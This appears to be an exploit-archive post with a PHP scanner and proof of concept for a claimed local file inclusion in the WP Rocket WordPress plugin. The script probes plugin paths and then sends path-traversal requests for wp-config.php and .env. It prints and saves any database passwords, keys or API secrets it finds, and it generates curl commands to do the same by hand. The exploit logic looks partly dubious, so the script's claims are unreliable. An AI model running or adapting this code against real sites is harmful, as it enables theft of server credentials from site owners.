============================================================================================================================================= | # Title : WordPress WP Rocket 2.10.3 LFI Vulnerability Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/search/Rocket+Plugin/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/175645/ [+] Summary : a Local File Inclusion (LFI) vulnerability in WP Rocket Plugin versions prior to 2.10.4. The vulnerability allows unauthenticated attackers to read sensitive files from the web server, potentially exposing database credentials, configuration files, and other critical system information. [+] POC : # Full Scan php poc.php -u https://example.com # Generate curl commands for manual testing php poc.php -u https://example.com --curl --- #!/usr/bin/env php target = rtrim($target_url, '/'); $this->user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'; } public function check_wp_rocket_version() { echo "[*] Checking WP Rocket version...\n"; $version_url = $this->target . "/wp-rocket/css/rocket.css"; try { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: {$this->user_agent}\r\n", 'timeout' => 10 ] ]); $response = @file_get_contents($version_url, false, $context); if ($response !== false) { // Check headers for version information $headers = $http_response_header; foreach ($headers as $header) { if (stripos($header, 'X-Powered-By') !== false && stripos($header, 'WP Rocket') !== false) { $version = explode('/', $header); if (isset($version[1])) { return trim($version[1]); } } } // Alternative method: check file content if (preg_match('/WP Rocket\s+([\d\.]+)/i', $response, $matches)) { return $matches[1]; } } // Try alternative detection methods return $this->alternative_version_detection(); } catch (Exception $e) { echo "[-] Error checking version: " . $e->getMessage() . "\n"; } return null; } private function alternative_version_detection() { echo "[*] Trying alternative version detection methods...\n"; $paths = [ '/wp-content/plugins/wp-rocket/readme.txt', '/wp-content/plugins/wp-rocket/wp-rocket.php', '/wp-rocket/readme.txt' ]; foreach ($paths as $path) { $url = $this->target . $path; try { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: {$this->user_agent}\r\n", 'timeout' => 5 ] ]); $content = @file_get_contents($url, false, $context); if ($content !== false) { // Extract version from readme if (preg_match('/Stable tag:\s*([\d\.]+)/i', $content, $matches)) { return $matches[1]; } // Extract version from plugin header if (preg_match('/Version:\s*([\d\.]+)/i', $content, $matches)) { return $matches[1]; } } } catch (Exception $e) { // Continue to next path } } return null; } public function test_lfi_vulnerability() { echo "[*] Testing for LFI vulnerability...\n"; $lfi_paths = [ '/wp-rocket/inc/vendor/composer/installed.json', '/wp-content/plugins/wp-rocket/inc/vendor/composer/installed.json', '/wp-rocket/vendor/composer/installed.json' ]; $sensitive_files = [ '/../../../../wp-config.php', '/../../../../../wp-config.php', '/../../../../../../wp-config.php', '/../wp-config.php' ]; foreach ($lfi_paths as $lfi_path) { $url = $this->target . $lfi_path; echo "[*] Testing path: {$lfi_path}\n"; try { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: {$this->user_agent}\r\n", 'timeout' => 10 ] ]); $response = @file_get_contents($url, false, $context); if ($response !== false) { // Check if we got a valid JSON response (composer file) if (strpos($response, 'packages') !== false || strpos($response, 'dev') !== false) { echo "[+] LFI vulnerability confirmed: {$lfi_path}\n"; // Now try to read sensitive files $this->test_sensitive_files($lfi_path); return true; } } } catch (Exception $e) { echo "[-] Error testing LFI path {$lfi_path}: " . $e->getMessage() . "\n"; } } return false; } private function test_sensitive_files($base_path) { echo "[*] Attempting to read sensitive files...\n"; $sensitive_files = [ 'wp-config.php' => [ '/../../../../wp-config.php', '/../../../../../wp-config.php', '/../../../../../../wp-config.php' ], '.env' => [ '/../../../../.env', '/../../../../../.env' ], 'wp-config.php in parent' => [ '/../wp-config.php' ] ]; foreach ($sensitive_files as $file_type => $paths) { foreach ($paths as $path) { $test_url = $this->target . dirname($base_path) . $path; echo "[*] Trying to read: {$file_type} via {$path}\n"; try { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: {$this->user_agent}\r\n", 'timeout' => 5 ] ]); $content = @file_get_contents($test_url, false, $context); if ($content !== false) { // Check for common patterns in sensitive files if ($this->is_sensitive_content($content, $file_type)) { echo "[+] SUCCESS: Retrieved {$file_type} content!\n"; echo "=" . str_repeat("=", 60) . "\n"; echo substr($content, 0, 1000) . "\n"; // First 1000 chars echo "=" . str_repeat("=", 60) . "\n"; // Save to file $filename = "wp_rocket_lfi_{$file_type}_" . time() . ".txt"; file_put_contents($filename, $content); echo "[+] Content saved to: {$filename}\n"; } } } catch (Exception $e) { // Continue to next path } } } } private function is_sensitive_content($content, $file_type) { $indicators = [ 'wp-config.php' => ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY'], '.env' => ['DB_', 'DATABASE_', 'API_KEY', 'SECRET_'], ]; if (isset($indicators[$file_type])) { foreach ($indicators[$file_type] as $indicator) { if (stripos($content, $indicator) !== false) { return true; } } } return false; } public function comprehensive_scan() { $banner = " ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ WP Rocket LFI Vulnerability Scanner By: indoushka "; echo $banner . "\n"; echo "[*] Target: " . $this->target . "\n"; echo str_repeat("-", 60) . "\n"; // Check WP Rocket version $version = $this->check_wp_rocket_version(); if ($version) { echo "[+] WP Rocket Version Detected: " . $version . "\n"; $vulnerable_versions = ['2.10.0', '2.10.1', '2.10.2', '2.10.3']; if (in_array($version, $vulnerable_versions)) { echo "[!] Version is VULNERABLE to LFI\n"; // Test LFI vulnerability if ($this->test_lfi_vulnerability()) { echo "\n[!] CRITICAL: LFI vulnerability confirmed!\n"; echo "[!] Attackers can read sensitive files including wp-config.php\n"; } else { echo "[-] LFI vulnerability not confirmed (may be patched or blocked)\n"; } } else { echo "[+] Version appears to be patched or not vulnerable\n"; } } else { echo "[-] WP Rocket not detected or version could not be determined\n"; echo "[*] Testing for LFI vulnerability anyway...\n"; $this->test_lfi_vulnerability(); } echo "\n" . str_repeat("=", 60) . "\n"; echo "[*] Scan completed\n"; } public function generate_curl_commands() { echo "\n[+] Manual Testing Commands:\n"; echo str_repeat("-", 40) . "\n"; $paths = [ '/wp-rocket/inc/vendor/composer/installed.json', '/wp-content/plugins/wp-rocket/inc/vendor/composer/installed.json' ]; foreach ($paths as $path) { echo "curl -k '{$this->target}{$path}'\n"; } echo "\n[+] Try reading wp-config.php:\n"; $base = '/wp-rocket/inc/vendor/composer'; echo "curl -k '{$this->target}{$base}/../../../../wp-config.php'\n"; echo "curl -k '{$this->target}{$base}/../../../../../wp-config.php'\n"; } } // Command line interface if (php_sapi_name() === 'cli') { $options = getopt("u:ch", ["url:", "curl", "help"]); if (isset($options['h']) || isset($options['help']) || !isset($options['u'])) { echo "Usage: php wp_rocket_lfi.php -u [options]\n"; echo "Options:\n"; echo " -u, --url Target URL (required)\n"; echo " -c, --curl Generate curl commands for manual testing\n"; echo " -h, --help Show this help message\n"; echo "\nExample:\n"; echo " php wp_rocket_lfi.php -u https://example.com\n"; echo " php wp_rocket_lfi.php -u https://example.com --curl\n"; exit(1); } $target = $options['u']; $scanner = new WPRocketLFIScanner($target); if (isset($options['c']) || isset($options['curl'])) { $scanner->generate_curl_commands(); } else { $scanner->comprehensive_scan(); } } else { // Web interface if (isset($_GET['url'])) { $target = $_GET['url']; $scanner = new WPRocketLFIScanner($target); $scanner->comprehensive_scan(); } else { echo "

WP Rocket LFI Scanner

"; echo "
"; echo "Target URL: "; echo ""; echo "
"; } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================